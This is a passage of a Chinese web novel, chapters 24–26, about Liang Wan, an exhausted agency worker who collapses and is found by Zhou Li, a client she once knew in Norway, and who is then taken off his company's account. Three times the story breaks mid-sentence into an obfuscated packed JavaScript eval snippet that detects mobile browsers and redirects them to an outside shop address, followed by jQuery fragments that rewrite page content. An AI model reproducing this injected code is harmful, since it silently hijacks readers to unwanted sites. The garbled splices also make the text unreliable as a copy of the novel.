“尽职尽责的骑士。”姜之琪瞟了瞟梁宛,“要是不喜欢人家,趁早说清楚更好。” 闻言,梁宛意味深长看了她一眼,低头笑了笑。 说清楚?在陈知渊任何表示之前,鲁莽又冒犯地拒绝他?结果只有两种,对方变成小丑,或让再度自作多情的自己变成小丑。 梁宛不做这样的蠢事。 分寸和界限把握住即可,一切顺其自然。 - 宴会顺利结束,回到酒店脱下高跟鞋,梁宛的脚骨发红,脚后跟也被鞋割出一道红色血痕。 她呼了一口气,想摆脱积压在身体里的疲惫。 工作缘故,梁宛平时不穿高跟鞋,最多是带三厘米坡跟的鞋。长久不穿,便也不太会穿,走起路来像小时候偷穿母亲鞋那样,难免屈膝。家里仅有两双高跟鞋,因为没什么机会磨合,依旧锋利如新,次次如刀割。 “Denise,明早我直接去机场找你汇合。”姜之琪拿上整理好的行李,走之前说道。 按照公司规定,这样是不妥。但只要完成了本职工作,梁宛并无限制他人的癖好,便没有阻拦。 一个小阶段的工作完成,梁宛仿佛可以休息了。 然而关上房门的空间只安静了没一会儿,手机便开始叫嚣震动。 梁宛从床上爬起,顶着一头乱发重新坐回电脑前工作。 第无数次想要辞职。 工作的每分每秒都令她厌恶。 然后呢?她还是要找一份工作,换一种折磨。 每每想到这里,梁宛便打消了念头。 她有时不知这样的人生有什么意思,也会羡慕有一箩筐梦想的人。生活里有个盼头也是好的。 而梦想——梁宛没有。 小时候和大多数孩子一样,想当宇航员,初中时萌生出学画画的想法,那个愿望维持了三年。母亲每一次说给她找个兴趣班学画画,每一次都没有下文。直到有次说破了,才知道母亲根本没有想让她学,因为画画是一门难赚到钱的营生。她还说,梁家人没有艺术细胞,梁宛的画比同龄人难看太多。既然不是天才,何来培养的意义? 初中时,梁宛还是画板报的主力,升到高中以后,那点让梁宛沾沾自喜的绘画能力在大触面前相形见绌。不需要任何放弃宣言,梦想在忙碌的学业中悄无声息地消散了。以至于现在梁宛都不记得曾还有过一段热爱绘画的经历。 她像一具只是活着的躯壳,为了生存与体面,在泥潭里挣扎。 但梁宛也并不顾影自怜,像她这样的人有很多,比她更艰苦的人亦很多。 又是工作到深夜,梁宛才沉沉睡去。翌日醒时只觉得嗓子里像堵了团血块似的难受,穿在球鞋里的脚也又肿胀又疼。 她早于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13336435|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜之琪一步抵达机场,办理好登机手续后等她。 距离起飞还有五十分钟时,姜之琪终于在男朋友的护送下抵达。梁宛这才见到她那位传闻中的异地男友。 一瞬间,梁宛性格中刻薄的那一部分悄无声息生长了起来。 无论从哪个角度考虑,她都看不出这个男人有哪里配得上姜之琪。几乎与女友一致的身高,蓬乱油腻的头发,身上似有若无飘着的烟味,还有讲话时的吊儿郎当气质——这一切都让梁宛觉得难以忍受。 当然这种厌弃只存在于梁宛心里。她甚至还检讨了一番自己的以貌取人和刻薄,但仍旧没法违心地觉得二人般配。 自然,她也不会多嘴去管他人的闲事。 “快去把行李托运了,时间不多了。”梁宛催促道。 姜之琪小跑去办理手续,留下她那位男友站到梁宛身边。 “你是我宝贝的上司吧?” 梁宛轻轻屏息,她实在不喜欢烟味,“算是前辈。” “她这人大大咧咧的,做事有时候毛手毛脚,你们多担待。不过她不像别的女人,她这人没有心机,单纯得很,谁对她好,她肯定会回报。” “……” 梁宛抱着双臂,抿着嘴,没有说话。 对方又聊了几句工作上的事,忽然就把话题拐到梁宛身上。 “听我宝贝说,梁小姐二十九岁还没谈过恋爱?” 梁宛阖上眼帘翻了翻眼,有些不耐地向姜之琪的方向走了几步,不动声色远离男人。 但他很快又靠了过来。 “听说有个条件不错的男人在追你?那应该答应啊。大城市里精英女多,精英男少,你这个年龄真要把握住机会。”他还恬不知耻地补充,“真不是我多嘴啊。之前我还以为你是什么恐龙女才会母胎单身,见到你之后发现你长得还不错,肯定是要求太高才会到这种处境的。” 梁宛抬了抬眉梢,忍不住掰起自己的指骨,压着情绪。 “你和姜之琪是怎么谈的?” 男人没想到她忽然问自己,愣了下,“大一开始就谈了,我帮她拿行李认识的,又在一个社团。” “难怪。” “难怪什么?” 有点校园滤镜。 等进入社会久了,梁宛相信姜之琪不会再看得上这个男人。 “你可以走了。” 男人正要说什么,办理完托运的姜之琪冲过来抱住他。 梁宛的眼皮跳了一跳,转过身把背包里剩下半瓶水一饮而尽。 “我走了啊宝贝,你休假的时候记得来北京找我。” “好,一定,你乖乖的啊,不要看其他男人。” “你才是,不许看别的女人听到没!” “是是是我的大小姐。” …… 梁宛听不下去了,走远等姜之琪自己过来。 “Denise,走吧。” “琪琪,”梁宛边赶路边与她说,“以后不要把我的事说给别人听。” 姜之琪愣了下,“是我男朋友和你说了什么?没事啦,他这人就是喜欢替别人操心。” “我不喜欢不认识的人讨论我的事。”梁宛淡淡道,“以后别说。” 姜之琪怔了怔,她没听梁宛用这样冷淡严肃的语气说过话,撇嘴哦了一声。 按时登机后,梁宛的心总算放下来些。 在将手机切换成飞行模式之前,她又收到若干信息,择了几条重要的回复后,她才看见谢晚馨的信息。 「李逸程这个混球前几天找我借钱,我不借,没想到他今天一大早带了两个人堵在家门口!哭天喊地的把邻居都惊扰了。最后我报警了,他们才离开。」 「这个混蛋害我会议迟到!真想把他千刀万剐了。」 梁宛的太阳穴抽了起来。 「你带点东西,这几天先住到我家来。我在飞机上,马上起飞,回不了你信息,其他等我回来再说。」 在空乘最后一次提醒中,手机切换到飞行模式下。 随着飞机逐渐升空,飞越云层后,刺眼的阳光直射梁宛的眼睛。 她感觉到那些积压在身体里的垃圾情绪,像一个无限吹大的气球,已经到达极限。 爆裂的时候,也许会像此刻的太阳一样,将整个世界都化为白光,别无他物。 25. 025 落地北京,梁宛没来得及回家就直奔公司。所幸今天她不用在公司加班到深夜,在黄昏过后的蓝调时刻里拖着行李箱回到家。 谢晚馨等在门口,楚楚可怜像一只流浪小猫,只不过是一只毛发锃亮的布偶猫。 梁宛打开家门,转头从玄关抽屉里拿了一把备用钥匙给她。老房子,用的还不是密码锁。 “李逸程可能还会去找你,你先在这里避一避。”整整两晚没有睡好,梁宛的眼皮跳个不停,连抬起都极为费劲,“你要不要考虑换个房子租?他知道你的地址,总归不安全。” 谢晚馨提着包卧倒在沙发上,“可是我租约还没有到期。” “和房东商量看看,实在不行宁可亏点钱也要先保证安全。” 梁宛说这话是依据谢晚馨自身情况,她财务状况良好,再不济也有家底厚的父母撑腰。既然不需要为五斗米拼命,规避风险自然比钱财重要得多。 “嗯也行,要不我直接和你合租?” 这间房子两室一厅,虽然暂时只有一张床,但再买一张也不是什么大事。 梁宛没吭声,略有为难,半天才道:“我们生活习惯不一样。” 她浅眠,前日与姜之琪同屋便因为她的磨牙声没有睡好。谢晚馨虽然没有这些习惯,但她是个夜猫子,能追剧到凌晨三点。 除此之外,梁宛也实在不想与人长期共享私人空间,即使那个人是谢晚馨。 “好好好,我知道。”谢晚馨努嘴,“那我找一个在你家附近的总可以吧?” 梁宛莞尔,“当然。” “那我们今天怎么睡?” “你睡卧室,我睡客厅。”梁宛没有犹豫,边说边抱了一条空调被到沙发上。 “一起睡不就好了?我既不打鼾,也不磨牙。” 谢晚馨知道梁宛睡眠不太好,但也断然没有主人睡客厅的道理。 梁宛摇摇头,“我还有些邮件要回复,还要改沃斯的策划案,有很多事,在客厅走动方便些。” 谢晚馨也没再推辞,咣啷一阵阵响动后,结束洗漱的她回到卧室,门一合,归还客厅至静谧。 洗澡后,梁宛冲了一杯咖啡坐下,深吸了一口气开始工作。处理完其他事物,再修改沃斯的案子。 直到窗外月朗星稀,她停下打字的手,这才发现已经是凌晨。 梁宛给金毅留下的邮箱地址传去文件,原以为不会在这个时间得到回复,没成想不到五分钟,对方就回信。 「03:12分,这不是工作时间,你不应该在这个时候发邮件。我想贵公司也不会支付你相应的加班费。」 梁宛讶然,以前发过去的邮件得到的都是很官方的回答,事后金毅会在微信或会议上再详细谈。今天这封回信中的语气,却似乎有些不悦。最意外的是,这么晚了,他竟然也没有入睡。 思来想去,梁宛所幸当做没看见,等明日再直接与金毅沟通。 在沙发上和衣睡下。 滴、滴答。 洗手池水龙头一滴一滴渗水的声音是这样清晰。 梁宛不得不打着哈欠起身将它拧紧。 客厅比卧室更靠近高架,车轮疾速掠过沥青路的声音仿佛就在耳边。 空调发出的呼啸声,甚至楼上楼下细微的震动都在打扰梁宛入睡。 三天两夜的工作和浅眠令她此刻的心神格外脆弱,身体和大脑叫嚣着想要睡觉,却睡不着。此刻哪怕一片羽毛落地,她也能听见。 在断断续续的瞌睡中,天亮了。 远未到闹铃响的时间,梁宛已经喝了一杯咖啡,在去公司的路上。 清晨与清晨之间也有差距。 在太阳几乎未升起的这刻,即使是炎夏,风也微凉。 眼睛酸涩疲惫得睁不开,心脏闷疼得厉害。 风将树叶吹得簌簌响——也推动着梁宛前行。 在一个有人认识她的社会里生存,和被真菌夺去魂魄的昆虫没有什么两样,她被指引着通向一条慢性自杀的道路。 活得很累。 她知道自己可以放下这一切,只要她不在意朋友的评价,只要不在意周边人对工作的眼光——只要放弃向一个人证明她的选择没有错。 但她敢想而不敢做,跨不过心里的坎。 因此挪威的那段时间对她来说如同乌托邦。 没有人认识她,她睡了好觉,难得不用为工作焦头烂额。她也不用想着存钱,只需要没有节制地花钱。 这太快乐了。 她甚至当了一次坏女人、一个骗子,而在这里,拼命维持道德高标准的她绝不会那样做。 可是就连这乌托邦也是要付出代价的。 Lee从童话故事里走出来,向巫婆索命来了。 梁宛坐在公司转角阴凉处的树荫里,清晨的鸟儿在树梢上鸣叫。 大脑在树影与微风中死机了,梁宛垂着头终于沉沉睡去。 人群经过的声音此刻也闯不进她的世界,那里变得空无一物般安静。 她错过了打卡时间,错过了早晨会议,错过了无数通电话。 从口袋里滑落到长椅上的手机,只是在一旁震动着。 摇摇欲坠的脑袋垂了好几次,惊了一身汗,但又睡去。除了睡觉,梁宛的身体什么也做不了。 一旁的写字楼里比往常更鸡飞狗跳。 “是的,非常抱歉,Denise今天还没有来公司。我向你保证,她绝对不是不负责任的人,她一定是遇到了什么事……哦不不,我们会负责找到她,请放心。” 徐菲林开完会议,忙得团团转。梁宛一个人的消失,让许多事都乱了套,她身上担负着太多事。 和不同客户沟通的间隙,徐菲林也不免担忧。 所有人都知道梁宛的品性,她绝不是遇到一点事就会任性出走的人。责任感——几乎是梁宛的写照。 她该不会是遭遇车祸了?或者突然生了什么疾病? 梁宛在不同客户那儿都短暂失去音讯,同样也错过了与金毅的线上会议。 “周总,Denise今天没有去公司。” 周沥停下动作,“请假?” “不,她并没有请假,大约是遇到了什么紧急的事。” 邮箱里躺着三点过后她发来的那封邮件。 周沥不禁微微蹙起眉。 “周总?需要让Fingerprint派另一个人过来与我们交涉吗?” 周沥回神,深深吸了一口气,起身,“不用,你先处理别的事,我出去一趟。” 电台播报着今日气温,相较前几日凉爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13362974|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多。 路况却发了疯似的比早高峰还水泄不通,外面热心好事的车主摇下车窗也不知在冲谁喊:“听说是前面出车祸了!所以才这么堵呢。” 周沥深深吸了一口气,手掌心重重撞向方向盘。 他不知道自己为什么从公司出来。 他也不知道去哪里找梁宛。 北京这座城有着比慕尼黑和奥斯陆多无数倍的人,她淹没在人群里,无从寻找。就像从高空往下看时,成千上万座房屋也不过是千篇一律的方块。 她明明不想和他有任何干系。 他也绝不会为一个人割舍原则。 项目结束后,他们本该归为平行线。 但是他现在只有一个想法—— 出车祸的人绝对不会是她。 在缓缓车流中前进,Fingerprint的公司大楼出现在周沥眼前。 拥塞的路段无法将他带到任何地方。 周沥失去耐心,快速打转方向盘拐进附近的停车场。 正午了。 梁宛消失了整整一上午。 之前因为胖虎与她有过通话。 周沥翻找出通讯录里的“Mia”,拨通。 她没有接。 她当然不会接。 她正想着如何永远也不要见他。 太阳从厚重的云层后显出真身,路面在升温。周沥竭力压住心里升起的若干心绪,继续听着手机里一声又一声的嘟——她甚至没有设置铃声。 他不耐地在空地上走,走到转角阴凉处——忽然驻足。 静止半晌,他挂断了电话。 杨树下,斑驳破碎的光影落在一个人的肩头,风一吹动,如同海面下的波光。 她垂着头,身体歪斜地靠在椅背上,手臂垂在双腿上,马尾松散地顺着右肩垂下。她好像一具没有骨架的落叶,脆弱地倚着长椅。 周沥不自觉咬紧了后牙,低头颤了颤眼睫,将手机收回口袋里向她走过去。 “梁宛。” 他用很轻的声音呼唤她。 她没有醒,脑袋忽然下坠,她倒抽了一口气,又恢复到原先的姿势,还是沉浸在睡梦中。 咚咚咚。 周沥听得见她的心跳声。 速率快得不正常,响声也重得不寻常。 俯下身,她两眼下的青色是粉底都掩盖不住的疲惫。 他蜷起手指,“Mia,我们去医院。” 梁宛听不见,也不会拒绝,迷迷糊糊地感觉到自己被人抱了起来。 一声轻轻的带有疑惑的低喃从她嘴中溢出。 睁开眼,天光刺眼不忍看,她只好喘着粗气眯着一只眼看眼前的人。 “……Lee?” 周沥顿住,目光一寸一寸地下移到她的睫毛上。 像沙砾翻滚过山丘,他沉沉应道:“嗯。” “哦……我好累好困……” “嗯,睡吧。”周沥使力将她往上托了托,搂进臂弯。 与挪威时期相比,她的头发长了些许,体重却轻了不少。 “虎鲸出现……记得叫醒我。” 轻飘飘的一句话后,她粗重的呼吸慢慢变得匀速而安稳。 周沥没有回答她,只是收紧了手指,不停前行。 26. 026 消毒水的气味率先进入鼻腔,苍白的天花板随后撞入眼帘。 挪动手臂,感觉到被什么牵拉着,隐隐有些刺痛。 梁宛皱着眉低头看去,一根针正扎在手背上,点滴顺着输液管缓慢地进入身体。 床边没有人,手机也不在身上或床头。刚坐起身想要去按呼叫器,头却晕得天旋地转,视野里黑白光闪烁交替,一条条灰白色的线在眼前游动。梁宛又泄了力气倒回去,没在输液的手举高遮住头顶的光线。 脑海和医院的墙壁一样空白,注入不了任何想法。 “宛姐!” 直到中气十足的一声呼喊打破这份宁静。 陈彦手里攥着单子,和方愿一前一后踏进病房,一个哭天喊地仿佛梁宛死了,对比之下,另一个就显得镇定靠谱许多。 在陈彦一番语无伦次的描述中,梁宛终于捕捉到一个信息。 “是沃斯的金毅打电话让你们过来的?” 方愿应道:“对啊。Alice姐让我过来,Ben非要跟着来。” 不用想也知道Fingerprint现在一定很忙,陈彦能跟着来不外乎是徐菲林对他格外开恩。 “是金毅?” 刚苏醒的大脑仿佛还没有开机完成,梁宛讷讷地重复,带着一些不可置信和疑惑。 方愿再次给到她肯定的答复,并说是金毅在路边意外发现梁宛,将她送来这家私立医院。 梁宛双眼没有聚焦,出神地又自己喃喃了一句“是金毅”。 在反复的确认中,中午的记忆愈渐清晰。 不对,不是金毅。 杨树下出现的那个人分明是周沥。 “宛姐,有什么不对的地方吗?” 梁宛快速眨了眨眼,一边摇头,一边收回飘远的神思。 “没什么。”梁宛抬起头看吊瓶里剩下的液体,“这一瓶输完就可以走了吗?” 陈彦将一叠检查单子给她看,“可以是可以,不过宛姐你回家得好好休息,Alice姐给你放了两天假。” 两天假…… 梁宛仰头喝了点水,看着一张张单子,周沥带着她做各项检查的记忆进入脑海。 从挪威回来的前一天,Lee也是这样带着她去做检查。他骨子里是霸道的,在一些事上有着不容分说的坚决。 梁宛清了清嗓子,问道:“知道我的手机在哪吗?” 陈彦这才想起来,从口袋里拿出手机递了过去。 输着液的手用起来总归没有那么方便,梁宛慢悠悠检查未接到的来电。 无一例外都是与工作相关的人。 太阳穴不停跳着,梁宛不想再翻查了,直到她看见那个没有被她加入通讯录的陌生号码。 她偏偏记得其中几个数字——是周沥。 “宛姐。” 啪。 梁宛条件反射将手机倒扣在腿上,捋了捋头发,抬眼,“怎么了?” “沃斯的人说,希望换一个人负责他们的case。” “什么?” 梁宛愣住,在一瞬间,一种被针扎了般的刺麻感遍布全身。 她低下头,藏起失态,问道:“他们有说为什么吗?” “我不清楚,只是听Alice姐说打算让Jane来接手,还没有定下来。” “Jane原先负责的项目呢?” “已经快结束了,她最近时间很充裕。” 梁宛很久没有说话。陈彦与方愿站在一旁,小心观察她的神色。 “知道了。”梁宛笑了笑,“也辛苦你们跑一趟了。” “宛姐,你这就不对了,显得多我们生分似的。” 在医院躺了不知道多久,梁宛的心跳渐渐回到正常的速率,只是身体依然沉重。 徐菲林没有责怪,也没有打来电话关心,她大抵是正忙得不可开交。 家里,谢晚馨还没有回来,梁宛靠着沙发躺了下来,她闭着眼睛,但早就没有了困意。 于情于理,她应该向周沥表达感谢,谢谢他送她到医院,做检查,甚至将账单都付了才走。 但是——梁宛抵触这么做。 于她而言,周沥在情理之外。 如果联系他,梁宛更想问问为什么要求更换项目负责人,是她哪里做得不够好,还是他在以权谋私。 - 酷暑在接连两日的倾盆大雨中正式宣告结束。 单元楼前,杨树落了厚厚一层叶在花坛里,散发出腐朽又潮湿的气味。 梁宛打着伞到小区门口的面馆觅食,下午一点,冷冷清清,店内不见几个客人。 老板娘认识她,放下正播着短视频的手机,起身热情搭话。 “闺女今天怎么这个时间过来?不上班?” 梁宛收起伞,在店外抖掉了些雨珠,放进伞框里。 “公司给我放了两天假。” 她笑着点了一碗大排面,加了一个煎蛋。 老板娘向后厨交代完,坐到邻桌的座位上。 “不是要裁人吧?我听说最近好多公司在裁人,我朋友的儿子就被公司裁员了,虽说拿了不少补偿,但原先那样好的工作难找。” 梁宛低头喝了一口老板娘递来的水,“应该不是。” “那就好。现在的钱真难赚,来吃面的人都变少了,还好有些小区里的老客户,勉勉强强能撑下去。” 梁宛静静听着。 这两日,工作群里刷页的消息没有一个提到自己。 公司内部的软件里、徐菲林、邮件都没有找来。 完完全全属于梁宛的两天,她什么都没有做。 在追的剧看了一集半就看不下去,电影刚打开五分钟就关闭,还剩三十页就读完的书却怎么也读不进去。她躺在飘窗上数窗帘边的绒球个数,站在楼下花坛看蚂蚁匆匆赶路。 生活的节奏突然被人按下暂停键,她的心却向着相反的方向愈加焦躁起来。 ——明天就可以回去工作了。 梁宛为脑海里这一闪而过的念头感到讶异。她觉察到自己的迫不及待,但这绝不是因为她热爱工作。 “闺女,你的面好了。给你多加了一个鸡蛋,多吃点,你比上次来瘦了。” “谢谢大姐。” “哎哟,闺女你太客气了。”老板娘斜坐着,慈爱地看着梁宛,“闺女,你有对象了没?” 梁宛顿了顿,“没有。” “那怎么还不找?是不是工作太忙,没时间认识人?” 梁宛点点头。 “你——对男朋友有什么要求?个子178够不够?”老板娘有些拘谨,小心翼翼地问道,“年薪20左右你觉得可以吗?我知道你工作挺好的,可能不太看得上。” 梁宛笑笑,“这些过得去就行,我比较肤浅,喜欢长得好看的。” “诶那好啊,我说的这小伙长得可秀气,从小就有不少女孩子喜欢他,就是他这人要求高,没看上人家。你要是有时间,我让你们两个见一面?” 才咬了两口煎蛋,梁宛还没有找到吃面的机会。她的肚子已经饿得在咕噜叫,眼下还要回应大姐的热心。 梁宛搅了搅面,“我性格有点内向,见面还是算了。” 老板娘看出她兴致不高,抿了抿嘴又不肯放弃。梁宛一口面刚送进嘴,又听见老板娘说: “那加个微信聊吧,要是聊得好,你们两个再自己约着见面。你不用有压力,就是交个朋友。” 梁宛不得不咬断口中的面。 她低头盯着碗里的第二个煎蛋,听见自己平静地说:“好的。” 免费得来的,总会在其他地方收取它的费用。 下次还是去离家远一点的地方吃饭吧。 - “Alice姐,这两天辛苦你四处奔波了,我休息好了,可以继续——” “Denise啊,”徐菲林快速抬起头扫了她一眼,低头签字,“身体没有大碍就行。沃斯的项目我已经交给Jan ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13382448|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' e负责了,这样你身上的担子就不会这么重了。” “沃斯的——” 徐菲林停下手上动作,抬头,直接打断梁宛没说完的话:“怎么了?是不是觉得前期工作都是你在做,现在要交给别人所以不甘心?” 是也不是。 但回答只能是:“不是。” “不是就行,先去忙你的吧。” 刚走出徐菲林的办公室,Jane就小跑着来找梁宛。 “Denise,你记得今天之内把沃斯相关的文件资料都发给我。”说完她又转头对姜之琪说,“Jessi,跟我过来,之后我负责带你。” 姜之琪瞟了一眼梁宛,快步跟上。 梁宛深吸了一口气,身体坠到办公椅上。 策划案、市场调研、产品基础资料等等,将有关沃斯的文件一一整理好发给Jane后,梁宛走到茶水间,关上门。 一通无意义的操作后,梁宛才发现咖啡机坏了,报修了还没来人修。她只能空口喝完已经倒进杯子的牛奶。 从这里,她可以看见沃斯的大楼。 一整片天布满乌云,那座高楼也显得压抑而窒息。 因为周沥的关系,梁宛原本就不想负责沃斯的项目,如今得偿所愿,心里却没有一丝一毫开心的感觉。 主动申请,和被人换下,这是截然不同的。 “Denise,找你好久。”同事打开茶水间的门,“你手机一直在响,怎么没带身上?是沃斯的金毅打来的,你赶紧接吧。” 梁宛擦干净手,谢了同事后接起,“你好。” “Denise,你应该已经知道换项目负责人的事了。” “是。” 金毅说话的速度一直不快,颇为安定,“我打电话来就是想告诉你,我们之前的合作很愉快,换负责人也不是因为你的工作有问题。” 换从前,梁宛不会追问,只会应下,再客套两句。 她看着远处沃斯的大楼,沉默片刻。 “那是因为什么?” 金毅愣了愣,“因为……一些原因,这主要是公司的安排。” 梁宛深吸一口气,没有继续为难金毅给出答案。 “周沥,周总他现在有时间吗?” “周总?” “他若是有时间,可以请他接一下电话吗?” 梁宛不想给周沥打私人电话。 “恐怕不行,他现在正在——”金毅的声音忽然远去,半晌后他回来,“可以,稍等。” ——周总,是梁宛小姐的电话。 ——嗯,拿过来。 手机收进远处的声音,敲击键盘发出的哒哒声停下。 “梁小姐。” 低沉的声音在她耳边响起。 官方又疏离的开场白。 “周总,”梁宛呼出一团气,“前几日的事,谢谢你,医药费我会找个机会还给你。” 这句话她不是第一次说,在奥斯陆也曾说过。 “不用了。” “我不想越欠越多,希望你能理解这一点。” 周沥转了一圈手指上的钢笔,反手将它压在了手掌下。 他没说话。 “我就当你默认了。”梁宛接了一杯水,润了润干涩的嗓子,止住咳嗽的冲动,“除此事之外,我想请问——既然我的工作能力没有问题,那沃斯为什么要更换项目负责人?” 周沥没有立刻回答,而是停顿了几秒钟的时间。 “如果我没有记错,你说过不想和我见面。” 梁宛愣住。 明净的玻璃窗上忽然开始落下雨点,一条条雨丝很快占满了她的视野。 沃斯的大楼被这场突然起来的雨笼罩。 许久之后,她冷笑了一声,不加掩饰显露自己言语刻薄的一面。 “你是这么听话的人吗?” 窗外寻求避雨的飞鸟展开双臂穿过楼宇之间,梁宛没等他说任何话,便挂断了电话。